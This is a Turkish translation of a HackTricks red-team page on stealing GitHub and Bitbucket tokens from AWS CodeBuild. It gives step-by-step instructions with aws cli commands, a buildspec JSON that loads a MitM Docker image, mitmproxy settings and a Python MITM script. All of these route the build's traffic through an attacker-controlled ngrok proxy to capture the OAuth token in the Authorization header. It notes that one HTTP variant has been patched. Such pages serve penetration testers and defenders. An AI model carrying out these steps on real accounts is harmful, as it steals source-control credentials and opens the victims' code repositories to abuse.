AWS Codebuild - Token Leakage

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Github/Bitbucket Yapılandırılmış Tokenları Kurtarma

İlk olarak, sızdırabileceğiniz herhangi bir kaynak kimlik bilgisi yapılandırılıp yapılandırılmadığını kontrol edin:

aws codebuild list-source-credentials

Docker İmajı Aracılığıyla

Eğer örneğin Github için kimlik doğrulamanın hesapta ayarlandığını bulursanız, projenin derlemesini çalıştırmak için Codebuild'in belirli bir docker imajını kullanarak bu erişimi (GH token veya OAuth token) dışarıya çıkarabilirsiniz.

Bu amaçla, yeni bir Codebuild projesi oluşturabilir veya mevcut bir projenin ortamını değiştirerek Docker imajını ayarlayabilirsiniz.

Kullanabileceğiniz Docker imajı https://github.com/carlospolop/docker-mitm adresinde bulunmaktadır. Bu çok temel bir Docker imajıdır ve https_proxy, http_proxy ve SSL_CERT_FILE ortam değişkenlerini ayarlar. Bu, https_proxy ve http_proxy ile belirtilen ana bilgisayarın çoğu trafiğini aramanıza ve SSL_CERT_FILE ile belirtilen SSL SERT'ine güvenmenize olanak sağlar.

  1. Kendi Docker MitM imajınızı oluşturun ve yükleyin

  • İpucu deposunun talimatlarını izleyerek proxy IP adresinizi ayarlayın ve SSL sertifikanızı ayarlayın ve docker imajını oluşturun.

  • Metadata uç noktasına yapılan istekleri aramamak için http_proxy ayarlamayın.

  • Proxy'yi kendi ana bilgisayarınıza ayarlamak için ngrok tcp 4444 gibi ngrok kullanabilirsiniz.

  • Docker imajınızı oluşturduktan sonra, genel bir depoya (Dockerhub, ECR...) yükleyin.

  1. Ortamı ayarlayın

  • Yeni bir Codebuild projesi oluşturun veya mevcut bir projenin ortamını değiştirin.

  • Projeyi, önceden oluşturulan Docker imajını kullanacak şekilde ayarlayın.

  1. Ana bilgisayarınızda MitM proxy'sini ayarlayın

  • Github deposunda belirtildiği gibi, şuna benzer bir şey kullanabilirsiniz:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Kullanılan mitmproxy sürümü 9.0.1 idi, sürüm 10 ile bu işe yaramayabileceği bildirildi.

  1. Derlemeyi çalıştırın ve kimlik bilgilerini yakalayın

  • Kimlik bilgilerini Authorization başlığında görebilirsiniz:

Bu ayrıca aws cli ile şu şekilde de yapılabilir

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

HTTP protokolü aracılığıyla

Bu zafiyet, AWS tarafından 20 Şubat 2023 haftasında (sanırım Cuma günü) düzeltildi. Bu nedenle saldırgan artık bunu istismar edemez :)

CodeBuild üzerinde yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket belirteci veya izinler OAuth aracılığıyla yapılandırıldıysa, kod erişimi için kullanılan geçici OAuth belirteci sızdırabilir.

  • Bir saldırgan, CodeBuild projesine kendi makinesine işaret eden http_proxy ve https_proxy çevresel değişkenlerini ekleyebilir (örneğin http://5.tcp.eu.ngrok.io:14972).

  • Ardından, github deposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: **http://**github.com/carlospolop-forks/TestActions

  • Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaretlenen bağlantı noktasında https://github.com/synchronizing/mitm adresindeki temel örneği çalıştırın.

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Son olarak, Proje oluştur üzerine tıklayın, kimlik bilgileri açık metin olarak (base64) mitm bağlantı noktasına gönderilecektir:

Şimdi bir saldırgan, token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild hizmetini doğrudan kullanmaktan daha kolay bir şekilde (kötüye) kullanabilecektir.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated